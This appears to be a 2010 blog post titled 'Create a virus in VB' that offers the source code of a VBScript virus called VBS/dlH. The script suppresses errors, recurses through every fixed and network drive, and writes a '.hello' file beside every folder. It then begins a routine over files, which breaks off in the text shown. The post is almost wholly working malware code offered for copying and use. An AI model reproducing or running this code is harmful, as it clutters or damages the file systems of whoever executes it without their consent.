Sunday, January 24, 2010

Create a virus in VB

VBS/dlH - Say hello Virus source code


rem - VBS/dlH "DL Hello" Virus - By D.L.
rem - Written on November 12th, 2003

On Error Resume Next
dim FSobj,orgMes,finalMes
set FSobj=CreateObject("Scripting.FileSystemObject")

orgMes="Hello! Don't be mad...I'm not a bad bug :) - by *|%|"
orgMes=replace(orgMes,chr(42),chr(68))
orgMes=replace(orgMes,chr(124),chr(46))
finalMes=replace(orgMes,chr(37),chr(76))


On Error Resume Next
dim drive,machine

set machine=FSobj.Drives
for each drive in machine
if (drive.DriveType=2)or(drive.DriveType=3) then
indexFolders(drive.Path&"\")
end If
next


sub indexFolders(location)
On Error Resume Next
dim specs,file,subFol,sayHello

set specs=FSobj.GetFolder(location)
set subFol=specs.SubFolders

for each file in subFol
set sayHello = FSobj.CreateTextFile(file.Path&".hello", 2, True)
sayHello.write finalMes
sayHello.Close
writeData(file.Path)
indexFolders(file.Path)
next
end sub

sub writeData(location)
On Error Resume Next
dim folder,directory,file,sayHello

set folder=FSobj.GetFolder(location)
set directory=folder.Files

for each file in directory

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